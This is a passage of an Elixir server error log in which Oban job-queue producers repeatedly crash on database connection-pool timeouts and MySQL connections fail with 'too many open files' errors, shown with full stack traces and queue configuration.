"mailers"}}}}, dispatch_timer: #Reference<0.2525715032.1068498948.45298>, refresh_timer: #Reference<0.2525715032.1077673987.21325>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:05:56.237000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "reports"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1072ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "reports"}}}}, meta: %{name: Oban, node: "demo", queue: "reports", started_at: ~U[2026-09-06 00:05:44.239976Z], limit: 3, uuid: "bdda6c83-7382-44ff-b5df-9095cab4699c", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:05:44.239981Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "reports"}}}}, dispatch_timer: #Reference<0.2525715032.1068498948.45297>, refresh_timer: #Reference<0.2525715032.1068498948.45282>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:05:56.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "webhooks"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1081ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "webhooks"}}}}, meta: %{name: Oban, node: "demo", queue: "webhooks", started_at: ~U[2026-09-06 00:05:44.239663Z], limit: 5, uuid: "b6027610-51bb-462e-a399-206e8e17892f", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:05:44.239669Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "webhooks"}}}}, dispatch_timer: #Reference<0.2525715032.1068498948.45296>, refresh_timer: #Reference<0.2525715032.1068498948.45271>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:05:56.237000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "default"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1041ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "default"}}}}, meta: %{name: Oban, node: "demo", queue: "default", started_at: ~U[2026-09-06 00:05:44.239196Z], limit: 10, uuid: "384b5dea-064a-4f62-9d24-dca3e253fcc3", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:05:44.239203Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "default"}}}}, dispatch_timer: #Reference<0.2525715032.1068498948.45249>, refresh_timer: #Reference<0.2525715032.1068498948.45244>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:05:56.237000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "low"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1025ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "low"}}}}, meta: %{name: Oban, node: "demo", queue: "low", started_at: ~U[2026-09-06 00:05:44.240446Z], limit: 5, uuid: "2e18a0fc-a768-47e9-92c1-ea8f29c46e65", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:05:44.240453Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "low"}}}}, dispatch_timer: #Reference<0.2525715032.1068498948.45299>, refresh_timer: #Reference<0.2525715032.1077673987.21343>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:05:56.238000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "high"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1011ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "high"}}}}, meta: %{name: Oban, node: "demo", queue: "high", started_at: ~U[2026-09-06 00:05:44.240677Z], limit: 50, uuid: "66613ba9-72d5-4d81-8d38-47c80eb3d7e6", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:05:44.240684Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "high"}}}}, dispatch_timer: #Reference<0.2525715032.1068498948.45300>, refresh_timer: #Reference<0.2525715032.1077673987.21351>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:05:57.585000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.593.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:05:58.393000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.590.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:06:01.490000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.592.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:06:06.843000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.587.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:06:08.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "mailers"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1000ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "mailers"}}}}, meta: %{name: Oban, node: "demo", queue: "mailers", started_at: ~U[2026-09-06 00:05:56.240244Z], limit: 20, uuid: "68cdee8f-1399-4827-9761-f5657cdf0f90", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:05:56.240255Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "mailers"}}}}, dispatch_timer: #Reference<0.2525715032.1068498948.45555>, refresh_timer: #Reference<0.2525715032.1099431938.45601>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:06:08.235000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "webhooks"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1045ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "webhooks"}}}}, meta: %{name: Oban, node: "demo", queue: "webhooks", started_at: ~U[2026-09-06 00:05:56.240758Z], limit: 5, uuid: "8f8e13ef-b971-4425-b63b-35d67eeba1f8", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:05:56.240764Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "webhooks"}}}}, dispatch_timer: #Reference<0.2525715032.1068498948.45552>, refresh_timer: #Reference<0.2525715032.1121189889.157540>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:06:08.235000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "low"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1047ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "low"}}}}, meta: %{name: Oban, node: "demo", queue: "low", started_at: ~U[2026-09-06 00:05:56.240904Z], limit: 5, uuid: "c7671270-a156-4c86-b843-2a266f27170e", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:05:56.240909Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "low"}}}}, dispatch_timer: #Reference<0.2525715032.1068498948.45553>, refresh_timer: #Reference<0.2525715032.1121189889.157546>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:06:08.238000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "default"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1019ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "default"}}}}, meta: %{name: Oban, node: "demo", queue: "default", started_at: ~U[2026-09-06 00:05:56.240773Z], limit: 10, uuid: "ff1e75f5-bb56-4a49-9051-14e69a704380", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:05:56.240779Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "default"}}}}, dispatch_timer: 